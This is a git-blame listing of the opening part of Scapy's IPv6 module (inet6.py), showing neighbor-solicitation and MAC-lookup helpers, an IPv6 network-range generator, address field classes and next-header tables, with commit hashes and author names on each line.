inet6.py revision caab83b26dc3a90b1f5623acae16815ffaa1e1f6
1c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#! /usr/bin/env python
2c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
4614f54fc4b269030ba2934b6c353fb43de886e04Phil## inet6.py --- IPv6 support for Scapy                                     ##
5614f54fc4b269030ba2934b6c353fb43de886e04Phil##              see http://natisbad.org/IPv6/                              ##
6614f54fc4b269030ba2934b6c353fb43de886e04Phil##              for more informations                                      ##
7c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
8c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Copyright (C) 2005  Guillaume Valadon <guedou@hongo.wide.ad.jp>         ##
9c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                     Arnaud Ebalard <arnaud.ebalard@eads.net>            ##
10c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
11c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## This program is free software; you can redistribute it and/or modify it ##
12c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## under the terms of the GNU General Public License version 2 as          ##
13614f54fc4b269030ba2934b6c353fb43de886e04Phil## published by the Free Software Foundation.                              ##
14c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
15c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## This program is distributed in the hope that it will be useful, but     ##
16c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
17c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
18c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## General Public License for more details.                                ##
19c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##                                                                         ##
20c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
21c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
220ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss"""
230ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk LossIPv6 (Internet Protocol v6).
240ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss"""
250ce149b41a10223c75f33a135d0a7ddc6bd2e022Dirk Loss
26614f54fc4b269030ba2934b6c353fb43de886e04Phil
2722a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotterfrom __future__ import absolute_import
28b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotterfrom __future__ import print_function
296057906368d55634d11e1d19a5cca1f127595b11Robin Jarryimport random
30d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilimport socket
316057906368d55634d11e1d19a5cca1f127595b11Robin Jarryimport sys
3222a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotterimport scapy.modules.six as six
3322a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotterfrom scapy.modules.six.moves import range
34d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilif not socket.has_ipv6:
35d7dd2222e18718ea755fe780e8ef422901ba5b0bPhil    raise socket.error("can't use AF_INET6, IPv6 is disabled")
3681dfaee354bef2beea581a3c83a33c856ade45e5Dirk Lossif not hasattr(socket, "IPPROTO_IPV6"):
3781dfaee354bef2beea581a3c83a33c856ade45e5Dirk Loss    # Workaround for http://bugs.python.org/issue6926
3881dfaee354bef2beea581a3c83a33c856ade45e5Dirk Loss    socket.IPPROTO_IPV6 = 41
3903f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulkaif not hasattr(socket, "IPPROTO_IPIP"):
4003f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulka    # Workaround for https://bitbucket.org/secdev/scapy/issue/5119
4103f254bf6424098cea56ba24cd5b8099c66a5823Robert Gomulka    socket.IPPROTO_IPIP = 4
42d7dd2222e18718ea755fe780e8ef422901ba5b0bPhil
43d7dd2222e18718ea755fe780e8ef422901ba5b0bPhilfrom scapy.config import conf
446057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.base_classes import *
456057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.data import *
46614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.fields import *
47614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.packet import *
48614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.volatile import *
49614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.sendrecv import sr,sr1,srp1
50614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.as_resolvers import AS_resolver_riswhois
51614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.supersocket import SuperSocket,L3RawSocket
52614f54fc4b269030ba2934b6c353fb43de886e04Philfrom scapy.arch import *
5372461d0c00f182855906e57dcf6223aa9f1d8b31Philfrom scapy.utils6 import *
546057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.layers.l2 import *
556057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.layers.inet import *
566057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.utils import inet_pton, inet_ntop, strxor
576057906368d55634d11e1d19a5cca1f127595b11Robin Jarryfrom scapy.error import warning
588d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarryif conf.route6 is None:
598d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarry    # unused import, only to initialize conf.route6
608d58488f9bebad9199ae6be637fdc3e85c36317dRobin Jarry    import scapy.route6
61c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
62c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
63c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
64c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Helpers                                                                  ##
65c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
66c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
67c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef get_cls(name, fallback_cls):
68614f54fc4b269030ba2934b6c353fb43de886e04Phil    return globals().get(name, fallback_cls)
69c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
70c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
71c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##########################
72c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil## Neighbor cache stuff ##
73c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil##########################
74c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
75f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Philconf.netcache.new_cache("in6_neighbor", 120)
76c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
77caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
78c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef neighsol(addr, src, iface, timeout=1, chainCC=0):
79caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr
80caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
81caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    'src' address is used as source of the message. Message is sent on iface.
82caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    By default, timeout waiting for an answer is 1 second.
83c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
840d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    If no answer is gathered, None is returned. Else, the answer is
85c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    returned (ethernet frame).
86c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
87c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
88c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr))
89c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    d = inet_ntop(socket.AF_INET6, nsma)
90c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    dm = in6_getnsmac(nsma)
91c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = Ether(dst=dm)/IPv6(dst=d, src=src, hlim=255)
92c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p /= ICMPv6ND_NS(tgt=addr)
93c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface))
940d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    res = srp1(p,type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0,
950d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               chainCC=chainCC)
96c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
97c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
98c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
99caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef getmacbyip6(ip6, chainCC=0):
101caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Returns the MAC address corresponding to an IPv6 address
102caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    neighborCache.get() method is used on instantiated neighbor cache.
104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Resolution mechanism is described in associated doc string.
105c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    (chainCC parameter value ends up being passed to sending function
107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil     used to perform the resolution, if needed)
108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
109f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if in6_ismaddr(ip6): # Multicast
111f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6))
112f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
113f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1147139f0150bfd006ab76b64a0aefbf2de2fc35443Robin Jarry    iff,a,nh = conf.route6.route(ip6)
115f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
11622a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter    if isinstance(iff, six.string_types):
11790da76f56bc90a7165f586c0fa89352c6f7ea784gpotter        if iff == LOOPBACK_NAME:
11890da76f56bc90a7165f586c0fa89352c6f7ea784gpotter            return "ff:ff:ff:ff:ff:ff"
11990da76f56bc90a7165f586c0fa89352c6f7ea784gpotter    else:
12090da76f56bc90a7165f586c0fa89352c6f7ea784gpotter        if iff.name == LOOPBACK_NAME:
12190da76f56bc90a7165f586c0fa89352c6f7ea784gpotter            return "ff:ff:ff:ff:ff:ff"
122f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
1230d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    if nh != '::':
124f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        ip6 = nh # Found next hop
125f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
126f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    mac = conf.netcache.in6_neighbor.get(ip6)
127f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    if mac:
128f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
129f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
130f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    res = neighsol(ip6, a, iff, chainCC=chainCC)
131f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
132f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    if res is not None:
133429082158fc01432c9d5e4a3de775f7a6e07a021Guillaume Valadon        if ICMPv6NDOptDstLLAddr in res:
1340d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            mac = res[ICMPv6NDOptDstLLAddr].lladdr
1350d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        else:
1360d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            mac = res.src
137f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        conf.netcache.in6_neighbor[ip6] = mac
138f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil        return mac
139f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil
140f631c21842a8c9cd2e9ca4fb2eccb6b08f030e31Phil    return None
141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###              IPv6 addresses manipulation routines                     ###
146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass Net6(Gen): # syntax ex. fec0::/126
150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """Generate a list of IPv6s from a network address or a name"""
151c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ipv6"
152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    ipaddress = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$")
153c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
154c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, net):
155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.repr = net
156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        tmp = net.split('/')+["128"]
158c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not self.ipaddress.match(net):
159c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp[0]=socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0]
160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        netmask = int(tmp[1])
16277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        self.net = inet_pton(socket.AF_INET6, tmp[0])
163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.mask = in6_cidr2mask(netmask)
16477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        self.plen = netmask
165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __iter__(self):
167c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        def m8(i):
16877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if i % 8 == 0:
169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return i
17022a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter        tuple = [x for x in range(8, 129) if m8(x)]
171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a = in6_and(self.net, self.mask)
17305dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon        tmp = [x for x in struct.unpack("16B", a)]
1740d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        def parse_digit(a, netmask):
176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            netmask = min(8,max(netmask,0))
177291400c1b6f65363e33cc982aaf0d43d31cc424egpotter            a = (int(a) & (0xff<<netmask),(int(a) | (0xff>>(8-netmask)))+1)
178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return a
17922a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter        self.parsed = list(map(lambda x,y: parse_digit(x,y), tmp, map(lambda x,nm=self.plen: x-nm, tuple)))
180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1810d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        def rec(n, l):
18277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if n and  n % 2 == 0:
18377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                sep = ':'
1840d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            else:
185c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                sep = ''
186c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if n == 16:
18777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return l
188c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
18977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                ll = []
19022a55b62eb35e8611fe03b99e4ff4f257a97b5d1gpotter                for i in range(*self.parsed[n]):
19177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    for y in l:
19277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                        ll += [y+sep+'%.2x'%i]
19377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return rec(n+1, ll)
194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return iter(rec(0, ['']))
196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __repr__(self):
198ce8d785c61d45928cc6da340beee91d32569d20dPierre LALET        return "Net6(%r)" % self.repr
199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                              IPv6 Class                               ###
208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IP6Field(Field):
212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        Field.__init__(self, name, default, "16s")
214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
215d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(x, str):
216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
21777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                x = in6_ptop(x)
218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except socket.error:
219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = Net6(x)
220d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        elif isinstance(x, list):
22105dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon            x = [Net6(a) for a in x]
222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x
223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return inet_pton(socket.AF_INET6, x)
225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, x):
226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return inet_ntop(socket.AF_INET6, x)
227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def any2i(self, pkt, x):
228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.h2i(pkt,x)
229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
23177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return self.i2h(pkt,x)
232d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        elif not isinstance(x, Net6) and not isinstance(x, list):
23377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if in6_isaddrTeredo(x):   # print Teredo info
2340d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                server, flag, maddr, mport = teredoAddrExtractInfo(x)
23577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr,mport)
23677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            elif in6_isaddr6to4(x):   # print encapsulated address
237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                vaddr = in6_6to4ExtractAddr(x)
23877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr)
23977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return self.i2h(pkt, x)       # No specific information to return
24051db482d4ed62a5eb7b70c0c4f7a3954d41b6165Phil    def randval(self):
24151db482d4ed62a5eb7b70c0c4f7a3954d41b6165Phil        return RandIP6()
242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass SourceIP6Field(IP6Field):
244b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["dstname"]
245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, dstname):
246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        IP6Field.__init__(self, name, None)
247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.dstname = dstname
248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            dst=getattr(pkt,self.dstname)
251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            iff,x,nh = conf.route6.route(dst)
252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return IP6Field.i2m(self, pkt, x)
253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
254c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
25539b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            if conf.route6 is None:
25639b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                # unused import, only to initialize conf.route6
25739b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                import scapy.route6
25839b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            dst = ("::" if self.dstname is None else getattr(pkt, self.dstname))
25939b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET            if isinstance(dst, (Gen, list)):
26039b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                r = {conf.route6.route(daddr) for daddr in dst}
26139b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                if len(r) > 1:
26239b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                    warning("More than one possible route for %r" % (dst,))
26339b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                x = min(r)[1]
264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
26539b3002b5eb7c0574284fe510ae3b1290b18e5d6Pierre LALET                x = conf.route6.route(dst)[1]
266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return IP6Field.i2h(self, pkt, x)
267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2684ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALETclass DestIP6Field(IP6Field, DestField):
2694ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALET    bindings = {}
270104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def __init__(self, name, default):
271104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        IP6Field.__init__(self, name, None)
2724ac6180c1a0b6b6d6b455b44cb5f88d1e8b8ac74Pierre LALET        DestField.__init__(self, name, default)
273104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def i2m(self, pkt, x):
274104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        if x is None:
275104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET            x = self.dst_from_pkt(pkt)
276104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        return IP6Field.i2m(self, pkt, x)
277104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET    def i2h(self, pkt, x):
278104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        if x is None:
279104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET            x = self.dst_from_pkt(pkt)
280104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET        return IP6Field.i2h(self, pkt, x)
281104d0fd887a0b48ccccec73218a1dc65d572bfd5Pierre LALET
282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilipv6nh = { 0:"Hop-by-Hop Option Header",
283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           4:"IP",
284c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil           6:"TCP",
285c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          17:"UDP",
286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          41:"IPv6",
287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          43:"Routing Header",
288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          44:"Fragment Header",
289c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          47:"GRE",
290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          50:"ESP Header",
291c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          51:"AH Header",
292c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          58:"ICMPv6",
293c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          59:"No Next Header",
294c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          60:"Destination Option Header",
295caab83b26dc3a90b1f5623acae16815ffaa1e1f6gpotter         112:"VRRP",
2960d49a3d0e63f90e8a46a9221b85ed599fa1b186fsachetmittal         132:"SCTP",
2970d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz         135:"Mobility Header"}
298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
299c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilipv6nhcls = {  0: "IPv6ExtHdrHopByHop",
300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4: "IP",
301c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               6: "TCP",
302c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               17: "UDP",
303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               43: "IPv6ExtHdrRouting",
304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               44: "IPv6ExtHdrFragment",
305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              #50: "IPv6ExtHrESP",
306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              #51: "IPv6ExtHdrAH",
3070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               58: "ICMPv6Unknown",
308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               59: "Raw",
3095a64a524ad2b2b3e9d6ee03035e1d9aa52aef32fsachetmittal               60: "IPv6ExtHdrDestOpt" }
310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
311c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IP6ListField(StrField):
312b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["count_from", "length_from"]
313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    islist = 1
314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, count_from=None, length_from=None):
315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if default is None:
316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            default = []
317c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrField.__init__(self, name, default)
318c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.count_from = count_from
